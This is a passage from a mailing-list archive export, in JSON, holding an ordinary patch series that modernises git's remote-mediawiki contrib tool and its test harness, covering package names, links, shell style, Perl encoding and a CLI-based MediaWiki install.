Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:39:45Z","receivedAt":"2020-09-21T10:40:20Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Change the hardcoded version 5 PHP versions to the version-agnostic\npackages. Currently Debian stable's version is 7.3, and there's a\nphp7.3, php7.3-cli etc. package available (but no php5-*).\n\nThe corresponding version-less package is a dependency package which\ndepends on whatever the current stable version is. By not hardcoding\nthe version these instructions won't be out of date when the next\nDebian/Ubuntu release happens.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/README | 10 +++++-----\n 1 file changed, 5 insertions(+), 5 deletions(-)\n\ndiff --git a/contrib/mw-to-git/t/README b/contrib/mw-to-git/t/README\nindex 2ee34be7e4..72c4889db7 100644\n--- a/contrib/mw-to-git/t/README\n+++ b/contrib/mw-to-git/t/README\n@@ -14,11 +14,11 @@ install the following packages (Debian/Ubuntu names, may need to be\n adapted for another distribution):\n \n * lighttpd\n-* php5\n-* php5-cgi\n-* php5-cli\n-* php5-curl\n-* php5-sqlite\n+* php\n+* php-cgi\n+* php-cli\n+* php-curl\n+* php-sqlite\n \n Principles and Technical Choices\n --------------------------------\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"406022","messageId":"20200921104000.2304-2-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH v2 01/18] remote-mediawiki doc: correct link to GitHub project","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:39:43Z","receivedAt":"2020-09-21T10:40:21Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Change the link to the canonical one, the old link redirects to the\nnew one.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/git-mw.perl | 2 +-\n contrib/mw-to-git/git-remote-mediawiki.perl | 2 +-\n contrib/mw-to-git/git-remote-mediawiki.txt | 2 +-\n 3 files changed, 3 insertions(+), 3 deletions(-)\n\ndiff --git a/contrib/mw-to-git/git-mw.perl b/contrib/mw-to-git/git-mw.perl\nindex 28df3ee321..eb52a53d32 100755\n--- a/contrib/mw-to-git/git-mw.perl\n+++ b/contrib/mw-to-git/git-mw.perl\n@@ -6,7 +6,7 @@\n # License: GPL v2 or later\n \n # Set of tools for git repo with a mediawiki remote.\n-# Documentation & bugtracker: https://github.com/moy/Git-Mediawiki/\n+# Documentation & bugtracker: https://github.com/Git-Mediawiki/Git-Mediawiki\n \n use strict;\n use warnings;\ndiff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl\nindex d8ff2e69c4..08190e23e1 100755\n--- a/contrib/mw-to-git/git-remote-mediawiki.perl\n+++ b/contrib/mw-to-git/git-remote-mediawiki.perl\n@@ -9,7 +9,7 @@\n # License: GPL v2 or later\n \n # Gateway between Git and MediaWiki.\n-# Documentation & bugtracker: https://github.com/moy/Git-Mediawiki/\n+# Documentation & bugtracker: https://github.com/Git-Mediawiki/Git-Mediawiki\n \n use strict;\n use MediaWiki::API;\ndiff --git a/contrib/mw-to-git/git-remote-mediawiki.txt b/contrib/mw-to-git/git-remote-mediawiki.txt\nindex 23b7ef9f62..5da825f61e 100644\n--- a/contrib/mw-to-git/git-remote-mediawiki.txt\n+++ b/contrib/mw-to-git/git-remote-mediawiki.txt\n@@ -4,4 +4,4 @@ objects from mediawiki just as one would do with a classic git\n repository thanks to remote-helpers.\n \n For more information, visit the wiki at\n-https://github.com/moy/Git-Mediawiki/wiki\n+https://github.com/Git-Mediawiki/Git-Mediawiki\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"406023","messageId":"20200921104000.2304-3-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH v2 02/18] remote-mediawiki doc: link to MediaWiki's current version","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:39:44Z","receivedAt":"2020-09-21T10:40:22Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Amend a comment in the test.config file to point to the latest\nupstream version, which makes it easier for the user to tweak this.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/test.config | 3 +++\n 1 file changed, 3 insertions(+)\n\ndiff --git a/contrib/mw-to-git/t/test.config b/contrib/mw-to-git/t/test.config\nindex 5ba0684162..b6fb0b3993 100644\n--- a/contrib/mw-to-git/t/test.config\n+++ b/contrib/mw-to-git/t/test.config\n@@ -31,6 +31,9 @@ WEB_WWW=$WEB/www\n # The variables below are used by the script to install a wiki.\n # You should not modify these unless you are modifying the script itself.\n # tested versions: 1.19.X -> 1.21.1\n+#\n+# See https://www.mediawiki.org/wiki/Download for what the latest\n+# version is.\n MW_VERSION_MAJOR=1.21\n MW_VERSION_MINOR=1\n FILES_FOLDER=install-wiki\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"406024","messageId":"20200921104000.2304-8-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH v2 07/18] remote-mediawiki tests: change `[]` to `test`","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:39:49Z","receivedAt":"2020-09-21T10:40:28Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Convert `[]` to `test` and break if-then into separate lines, both of\nwhich bring the style in line with Git's coding guidelines.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/test-gitmw-lib.sh | 17 +++++++++++------\n 1 file changed, 11 insertions(+), 6 deletions(-)\n\ndiff --git a/contrib/mw-to-git/t/test-gitmw-lib.sh b/contrib/mw-to-git/t/test-gitmw-lib.sh\nindex 3948a00282..a466be8f3f 100755\n--- a/contrib/mw-to-git/t/test-gitmw-lib.sh\n+++ b/contrib/mw-to-git/t/test-gitmw-lib.sh\n@@ -65,7 +65,7 @@ test_check_precond () {\n \tGIT_EXEC_PATH=$(cd \"$(dirname \"$0\")\" && cd \"../..\" && pwd)\n \tPATH=\"$GIT_EXEC_PATH\"'/bin-wrapper:'\"$PATH\"\n \n-\tif [ ! -d \"$WIKI_DIR_INST/$WIKI_DIR_NAME\" ];\n+\tif ! test -d \"$WIKI_DIR_INST/$WIKI_DIR_NAME\"\n \tthen\n \t\tskip_all='skipping gateway git-mw tests, no mediawiki found'\n \t\ttest_done\n@@ -304,7 +304,8 @@ create_db () {\n \tphp \"$FILES_FOLDER/$DB_INSTALL_SCRIPT\" $(basename \"$DB_FILE\" .sqlite) \\\n \t\t\"$WIKI_ADMIN\" \"$WIKI_PASSW\" \"$TMP\" \"$PORT\"\n \n-\tif [ ! -f \"$TMP/$DB_FILE\" ] ; then\n+\tif ! test -f \"$TMP/$DB_FILE\"\n+\tthen\n \t\terror \"Can't create database file $TMP/$DB_FILE. Try to run ./install-wiki.sh delete first.\"\n \tfi\n \n@@ -325,7 +326,8 @@ wiki_install () {\n \t# unpack and copy the files of MediaWiki\n \t(\n \tmkdir -p \"$WIKI_DIR_INST/$WIKI_DIR_NAME\"\n-\tif [ ! -d \"$WIKI_DIR_INST/$WIKI_DIR_NAME\" ] ; then\n+\tif ! test -d \"$WIKI_DIR_INST/$WIKI_DIR_NAME\"\n+\tthen\n \t\terror \"Folder $WIKI_DIR_INST/$WIKI_DIR_NAME doesn't exist.\n \t\tPlease create it and launch the script again.\"\n \tfi\n@@ -333,7 +335,8 @@ wiki_install () {\n \t# Fetch MediaWiki's archive if not already present in the TMP directory\n \tMW_FILENAME=\"mediawiki-$MW_VERSION_MAJOR.$MW_VERSION_MINOR.tar.gz\"\n \tcd \"$TMP\"\n-\tif [ ! -f $MW_FILENAME ] ; then\n+\tif ! test -f $MW_FILENAME\n+\tthen\n \t\techo \"Downloading $MW_VERSION_MAJOR.$MW_VERSION_MINOR sources ...\"\n \t\twget \"http://download.wikimedia.org/mediawiki/$MW_VERSION_MAJOR/$MW_FILENAME\" ||\n \t\t\terror \"Unable to download \"\\\n@@ -359,7 +362,8 @@ wiki_install () {\n \t# And modify parameters according to the ones set at the top\n \t# of this script.\n \t# Note that LocalSettings.php is never modified.\n-\tif [ ! -f \"$FILES_FOLDER/LocalSettings.php\" ] ; then\n+\tif ! test -f \"$FILES_FOLDER/LocalSettings.php\"\n+\tthen\n \t\terror \"Can't find $FILES_FOLDER/LocalSettings.php \" \\\n \t\t\t\"in the current folder. \"\\\n \t\t\"Please run the script inside its folder.\"\n@@ -401,7 +405,8 @@ wiki_install () {\n # Warning: This function must be called only in a subdirectory of t/ directory\n wiki_reset () {\n \t# Copy initial database of the wiki\n-\tif [ ! -f \"../$FILES_FOLDER/$DB_FILE\" ] ; then\n+\tif ! test -f \"../$FILES_FOLDER/$DB_FILE\"\n+\tthen\n \t\terror \"Can't find ../$FILES_FOLDER/$DB_FILE in the current folder.\"\n \tfi\n \tcp \"../$FILES_FOLDER/$DB_FILE\" \"$TMP\" ||\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"406025","messageId":"20200921104000.2304-10-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH v2 09/18] remote-mediawiki tests: use a more idiomatic dispatch table","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:39:51Z","receivedAt":"2020-09-21T10:40:29Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Change the dispatch table code in test-gitmw.pl to use a hash where\nsubroutine references are the values. This is more obvious than a hash\nwhere the values are strings we'll use to go searching around in the\nsymbol table for the function.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/test-gitmw.pl | 14 +++++++-------\n 1 file changed, 7 insertions(+), 7 deletions(-)\n\ndiff --git a/contrib/mw-to-git/t/test-gitmw.pl b/contrib/mw-to-git/t/test-gitmw.pl\nindex 0ff76259fa..afc4650b1a 100755\n--- a/contrib/mw-to-git/t/test-gitmw.pl\n+++ b/contrib/mw-to-git/t/test-gitmw.pl\n@@ -214,12 +214,12 @@ sub wiki_upload_file {\n \n wiki_login($wiki_admin, $wiki_admin_pass);\n \n-my %functions_to_call = qw(\n-\tupload_file wiki_upload_file\n-\tget_page wiki_getpage\n-\tdelete_page wiki_delete_page\n-\tedit_page wiki_editpage\n-\tgetallpagename wiki_getallpagename\n+my %functions_to_call = (\n+\tupload_file => \\&wiki_upload_file,\n+\tget_page => \\&wiki_getpage,\n+\tdelete_page => \\&wiki_delete_page,\n+\tedit_page => \\&wiki_editpage,\n+\tgetallpagename => \\&wiki_getallpagename,\n );\n die \"$0 ERROR: wrong argument\" unless exists $functions_to_call{$fct_to_call};\n-&{$functions_to_call{$fct_to_call}}(@ARGV);\n+$functions_to_call{$fct_to_call}->(@ARGV);\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"406026","messageId":"20200921104000.2304-12-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH v2 11/18] remote-mediawiki tests: use inline PerlIO for readability","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:39:53Z","receivedAt":"2020-09-21T10:40:30Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Replace the use of the \"open\" pragma with a three-arg open in the\nplaces that actually care about UTF-8, while leaving those that\ndon't (the config parsing).\n\nUnlike the previous \"encoding\" pragma change this isn't needed for\ncompatibility with anything. I just think it's easier to read code\nthat has localized effects than code that changes global settings.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/test-gitmw.pl | 7 +++----\n 1 file changed, 3 insertions(+), 4 deletions(-)\n\ndiff --git a/contrib/mw-to-git/t/test-gitmw.pl b/contrib/mw-to-git/t/test-gitmw.pl\nindex 71e5b06235..c5d687f078 100755\n--- a/contrib/mw-to-git/t/test-gitmw.pl\n+++ b/contrib/mw-to-git/t/test-gitmw.pl\n@@ -25,7 +25,6 @@\n use MediaWiki::API;\n use Getopt::Long;\n use DateTime::Format::ISO8601;\n-use open ':encoding(utf8)';\n use constant SLASH_REPLACEMENT => \"%2F\";\n \n #Parsing of the config file\n@@ -86,7 +85,7 @@ sub wiki_getpage {\n \t# Replace spaces by underscore in the page name\n \t$pagename =~ s/ /_/g;\n \t$pagename =~ s/\\//%2F/g;\n-\topen(my $file, \">$destdir/$pagename.mw\");\n+\topen(my $file, \">:encoding(UTF-8)\", \"$destdir/$pagename.mw\");\n \tprint $file \"$content\";\n \tclose ($file);\n \n@@ -171,7 +170,7 @@ sub wiki_getallpagename {\n \t\t\t\tcmlimit => 500 },\n \t\t)\n \t\t|| die $mw->{error}->{code}.\": \".$mw->{error}->{details};\n-\t\topen(my $file, \">all.txt\");\n+\t\topen(my $file, \">:encoding(UTF-8)\", \"all.txt\");\n \t\tforeach my $page (@{$mw_pages}) {\n \t\t\tprint $file \"$page->{title}\\n\";\n \t\t}\n@@ -184,7 +183,7 @@ sub wiki_getallpagename {\n \t\t\t\taplimit => 500,\n \t\t\t})\n \t\t|| die $mw->{error}->{code}.\": \".$mw->{error}->{details};\n-\t\topen(my $file, \">all.txt\");\n+\t\topen(my $file, \">:encoding(UTF-8)\", \"all.txt\");\n \t\tforeach my $page (@{$mw_pages}) {\n \t\t\tprint $file \"$page->{title}\\n\";\n \t\t}\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"406027","messageId":"20200921104000.2304-7-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH v2 06/18] remote-mediawiki tests: use test_cmp in tests","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:39:48Z","receivedAt":"2020-09-21T10:40:31Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Change code that used an ad-hoc \"diff -b\" invocation to use our\ntest_cmp helper instead. I'm also changing the order of arguments to\nbe the standard \"test_cmp \".\n\nUsing test_cmp has different semantics since the \"-b\" option to diff\ncauses it to ignore whitespace, but in these cases the use of \"-b\" was\njust meaningless boilerplate. The desired semantics here are to\ncompare \"git log\" lines with know-good data, so we don't want to\nignore whitespace.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/t9360-mw-to-git-clone.sh | 8 ++++----\n 1 file changed, 4 insertions(+), 4 deletions(-)\n\ndiff --git a/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh b/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh\nindex 9106833578..4c39bda7bf 100755\n--- a/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh\n+++ b/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh\n@@ -28,7 +28,7 @@ test_expect_success 'Git clone creates the expected git log with one file' '\n \t\tgit log --format=%s HEAD^..HEAD >log.tmp\n \t) &&\n \techo \"this must be the same\" >msg.tmp &&\n-\tdiff -b mw_dir_1/log.tmp msg.tmp\n+\ttest_cmp msg.tmp mw_dir_1/log.tmp\n '\n \n \n@@ -50,8 +50,8 @@ test_expect_success 'Git clone creates the expected git log with multiple files'\n \techo \"this must be the same\" >>msgDaddy.tmp &&\n \techo \"identical too\" >msgDj.tmp &&\n \techo \"identical\" >>msgDj.tmp &&\n-\tdiff -b mw_dir_2/logDaddy.tmp msgDaddy.tmp &&\n-\tdiff -b mw_dir_2/logDj.tmp msgDj.tmp\n+\ttest_cmp msgDaddy.tmp mw_dir_2/logDaddy.tmp &&\n+\ttest_cmp msgDj.tmp mw_dir_2/logDj.tmp\n '\n \n \n@@ -135,7 +135,7 @@ test_expect_success 'Git clone works with one specific page cloned ' '\n \t\tcd mw_dir_8 &&\n \t\techo \"this log must stay\" >msg.tmp &&\n \t\tgit log --format=%s >log.tmp &&\n-\t\tdiff -b msg.tmp log.tmp\n+\t\ttest_cmp msg.tmp log.tmp\n \t) &&\n \twiki_check_content mw_dir_8/Namnam.mw Namnam\n '\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"406028","messageId":"20200921104000.2304-9-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH v2 08/18] remote-mediawiki tests: use \"$dir/\" instead of \"$dir.\"","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:39:50Z","receivedAt":"2020-09-21T10:40:32Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Change UI messages to use \"$dir/\" instead of \"$dir.\". I think this is\nless confusing when referring to an absolute directory path.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/test-gitmw-lib.sh | 6 +++---\n 1 file changed, 3 insertions(+), 3 deletions(-)\n\ndiff --git a/contrib/mw-to-git/t/test-gitmw-lib.sh b/contrib/mw-to-git/t/test-gitmw-lib.sh\nindex a466be8f3f..eb45a5a641 100755\n--- a/contrib/mw-to-git/t/test-gitmw-lib.sh\n+++ b/contrib/mw-to-git/t/test-gitmw-lib.sh\n@@ -343,10 +343,10 @@ wiki_install () {\n \t\t\t\"http://download.wikimedia.org/mediawiki/$MW_VERSION_MAJOR/\"\\\n \t\t\t\"$MW_FILENAME. \"\\\n \t\t\t\"Please fix your connection and launch the script again.\"\n-\t\techo \"$MW_FILENAME downloaded in $(pwd). \"\\\n-\t\t\t\"You can delete it later if you want.\"\n+\t\techo \"$MW_FILENAME downloaded in $(pwd)/;\" \\\n+\t\t \"you can delete it later if you want.\"\n \telse\n-\t\techo \"Reusing existing $MW_FILENAME downloaded in $(pwd).\"\n+\t\techo \"Reusing existing $MW_FILENAME downloaded in $(pwd)/\"\n \tfi\n \tarchive_abs_path=$(pwd)/$MW_FILENAME\n \tcd \"$WIKI_DIR_INST/$WIKI_DIR_NAME/\" ||\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"406029","messageId":"20200921104000.2304-5-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH v2 04/18] remote-mediawiki tests: use the login/password variables","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:39:46Z","receivedAt":"2020-09-21T10:40:33Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Change a hardcoded user/password for the corresponding variable\ndefined in contrib/mw-to-git/t/test.config.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh | 4 ++--\n 1 file changed, 2 insertions(+), 2 deletions(-)\n\ndiff --git a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh\nindex 3ff3a09567..43580af3cf 100755\n--- a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh\n+++ b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh\n@@ -27,8 +27,8 @@ test_git_reimport () {\n \n # Don't bother with permissions, be administrator by default\n test_expect_success 'setup config' '\n-\tgit config --global remote.origin.mwLogin WikiAdmin &&\n-\tgit config --global remote.origin.mwPassword AdminPass &&\n+\tgit config --global remote.origin.mwLogin \"$WIKI_ADMIN\" &&\n+\tgit config --global remote.origin.mwPassword \"$WIKI_PASSW\" &&\n \ttest_might_fail git config --global --unset remote.origin.mediaImport\n '\n \n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"406030","messageId":"20200921104000.2304-6-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH v2 05/18] remote-mediawiki tests: use a 10 character password","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:39:47Z","receivedAt":"2020-09-21T10:40:34Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"In more recent versions of MediaWiki this is a requirement, e.g. the\ncurrent stable version of 1.32.2.\n\nThe web installer now refuses our old 9 character password, the\ncommand-line one (will be used in a subsequent change) will accept it,\nbut trying to use it in the web UI will emit an error asking the user\nto reset the password. Let's use a password that'll just work and\nallow us to log in as the admin user.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/test.config | 2 +-\n 1 file changed, 1 insertion(+), 1 deletion(-)\n\ndiff --git a/contrib/mw-to-git/t/test.config b/contrib/mw-to-git/t/test.config\nindex b6fb0b3993..3ab56c7165 100644\n--- a/contrib/mw-to-git/t/test.config\n+++ b/contrib/mw-to-git/t/test.config\n@@ -3,7 +3,7 @@ WIKI_DIR_NAME=wiki\n \n # Login and password of the wiki's admin\n WIKI_ADMIN=WikiAdmin\n-WIKI_PASSW=AdminPass\n+WIKI_PASSW=AdminPass1\n \n # Address of the web server\n SERVER_ADDR=localhost\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"406031","messageId":"20200921104000.2304-11-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH v2 10/18] remote-mediawiki tests: replace deprecated Perl construct","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:39:52Z","receivedAt":"2020-09-21T10:40:35Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"The use of the encoding pragma has been a hard error since Perl\n5.18 (released in 2013).\n\nWhat this script really wanted to do was to decode @ARGV and write out\nsome files with the UTF-8 PerlIO layer. Let's just do that explicitly\ninstead.\n\nThis explicitly does not retain the previous UTF-8 semantics of the\nscript. The \"encoding\" pragma had all sorts of global effects (program\ntext being UTF-8, stdin/stdout etc.). But the only thing that was\nrequired was decoding @ARGV and writing out UTF-8 data, which is\ncurrently facilitated with the \"open\" pragma.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/test-gitmw.pl | 3 +--\n 1 file changed, 1 insertion(+), 2 deletions(-)\n\ndiff --git a/contrib/mw-to-git/t/test-gitmw.pl b/contrib/mw-to-git/t/test-gitmw.pl\nindex afc4650b1a..71e5b06235 100755\n--- a/contrib/mw-to-git/t/test-gitmw.pl\n+++ b/contrib/mw-to-git/t/test-gitmw.pl\n@@ -24,7 +24,6 @@\n \n use MediaWiki::API;\n use Getopt::Long;\n-use encoding 'utf8';\n use DateTime::Format::ISO8601;\n use open ':encoding(utf8)';\n use constant SLASH_REPLACEMENT => \"%2F\";\n@@ -222,4 +221,4 @@ sub wiki_upload_file {\n \tgetallpagename => \\&wiki_getallpagename,\n );\n die \"$0 ERROR: wrong argument\" unless exists $functions_to_call{$fct_to_call};\n-$functions_to_call{$fct_to_call}->(@ARGV);\n+$functions_to_call{$fct_to_call}->(map { utf8::decode($_); $_ } @ARGV);\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"406032","messageId":"20200921104000.2304-18-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH v2 17/18] remote-mediawiki: annotate unquoted uses of run_git()","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:39:59Z","receivedAt":"2020-09-21T10:40:44Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Explicitly annotate the invocations of run_git() which don't use\nquoted arguments. I'm not converting these to run_git_quoted() because\nthese invocations pipe stderr to /dev/null, which the Perl open() API\ndoesn't support.\n\nWe could do a quoted version of this with IPC::Open3, but I don't\nthink it's worth it to go through that here. Let's instead just mark\nthese sites, and comment on why it's OK to use the variables we're\nusing.\n\nThis eliminates the last uses of run_git(), so we can remove the alias\nfor it introduced in an earlier commit.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/git-remote-mediawiki.perl | 19 +++++++++++++------\n 1 file changed, 13 insertions(+), 6 deletions(-)\n\ndiff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl\nindex bbf68ddc46..d21c18df7b 100755\n--- a/contrib/mw-to-git/git-remote-mediawiki.perl\n+++ b/contrib/mw-to-git/git-remote-mediawiki.perl\n@@ -395,8 +395,6 @@ sub run_git_unquoted {\n _run_git([\"git $_[0]\"], $_[1]);\n }\n \n-BEGIN { *run_git = \\&run_git_unquoted }\n-\n sub get_all_mediafiles {\n \tmy $pages = shift;\n \t# Attach list of all pages for media files from the API,\n@@ -522,8 +520,11 @@ sub download_mw_mediafile {\n }\n \n sub get_last_local_revision {\n-\t# Get note regarding last mediawiki revision\n-\tmy $note = run_git(\"notes --ref=${remotename}/mediawiki show refs/mediawiki/${remotename}/master 2>/dev/null\");\n+\t# Get note regarding last mediawiki revision.\n+\t#\n+\t# It's OK to use run_git_unquoted() here because $remotename is\n+\t# supplied by the local git itself.\n+\tmy $note = run_git_unquoted(\"notes --ref=${remotename}/mediawiki show refs/mediawiki/${remotename}/master 2>/dev/null\");\n \tmy @note_info = split(/ /, $note);\n \n \tmy $lastrevision_number;\n@@ -1188,10 +1189,16 @@ sub mw_push_revision {\n \tmy $mw_revision = $last_remote_revid;\n \n \t# Get sha1 of commit pointed by local HEAD\n-\tmy $HEAD_sha1 = run_git(\"rev-parse ${local} 2>/dev/null\");\n+\t#\n+\t# It's OK to use run_git_unquoted() because $local is supplied\n+\t# by the local git itself.\n+\tmy $HEAD_sha1 = run_git_unquoted(\"rev-parse ${local} 2>/dev/null\");\n \tchomp($HEAD_sha1);\n \t# Get sha1 of commit pointed by remotes/$remotename/master\n-\tmy $remoteorigin_sha1 = run_git(\"rev-parse refs/remotes/${remotename}/master 2>/dev/null\");\n+\t#\n+\t# It's OK to use run_git_unquoted() here because $remotename is\n+\t# supplied by the local git itself.\n+\tmy $remoteorigin_sha1 = run_git_unquoted(\"rev-parse refs/remotes/${remotename}/master 2>/dev/null\");\n \tchomp($remoteorigin_sha1);\n \n \tif ($last_local_revid > 0 &&\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"406033","messageId":"20200921104000.2304-13-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH v2 12/18] remote-mediawiki tests: use CLI installer","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:39:54Z","receivedAt":"2020-09-21T10:40:44Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Replace the use of screen-scraping in the test environment\ninstallation with simply invoking MediaWiki's command-line\ninstaller.\n\nThe old code being deleted here relied on our own hardcoded POST\nparameter names & the precise layout of MediaWiki's GUI installer at a\ngiven version. Somewhere between [1] and now this inevitably broke.\n\nAs far as I can tell there was never a reason for this screen-scraping\nhack, when [1] was introduced it hardcoded MediaWiki 1.19.0, the CLI\ninstaller was introduced in 1.17.0. Perhaps the authors weren't aware\nof it, or this code was written for an older version.\n\nThis allows us to simply delete our own template version of\nLocalSettings.php, it'll instead be provided by the CLI installer.\n\nWhile we're at it let's fix a few things, these changes weren't\npractical to split up (I'd need to fix code I was about to mostly\ndelete)\n\n * Use MediaWiki's own defaults where possible, e.g. before we'd name\n the database \"wikidb.sqlite\", now we'll simply use whatever name\n MediaWiki prefers (currently my_wiki.sqlite) by only supplying the\n directory name the SQLite file will be dropped into, not the full\n path.\n\n * Put all of our database & download assets into a new \"mediawiki/\"\n folder. This makes it easier to reason about as the current &\n template \"backup\" database the tests keep swapping around live\n next to each other.\n\n This'll also prevent future potential breakage as there isn't a\n single SQLite database. MediaWiki also creates a job queue\n database and a couple of cache databases. In practice it seems we\n got away with not resetting these when we reset the main database,\n but it's the sort of thing that could break in the future (reset,\n main store doesn't have the article, but the cache does).\n\n * The \"delete\" function now only deletes the MediaWiki installation\n & database, not the downloaded .tar.gz file. This makes us\n friendlier to a developer on a slow connection.\n\n1. 5ef6ad1785 (\"git-remote-mediawiki: scripts to install, delete and\n clear a MediaWiki\", 2012-07-06)\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/.gitignore | 2 +-\n contrib/mw-to-git/t/install-wiki/.gitignore | 1 -\n .../t/install-wiki/LocalSettings.php | 129 ----------------\n .../mw-to-git/t/install-wiki/db_install.php | 120 ---------------\n contrib/mw-to-git/t/test-gitmw-lib.sh | 143 +++++++++---------\n contrib/mw-to-git/t/test.config | 18 +--\n 6 files changed, 79 insertions(+), 334 deletions(-)\n delete mode 100644 contrib/mw-to-git/t/install-wiki/.gitignore\n delete mode 100644 contrib/mw-to-git/t/install-wiki/LocalSettings.php\n delete mode 100644 contrib/mw-to-git/t/install-wiki/db_install.php\n\ndiff --git a/contrib/mw-to-git/t/.gitignore 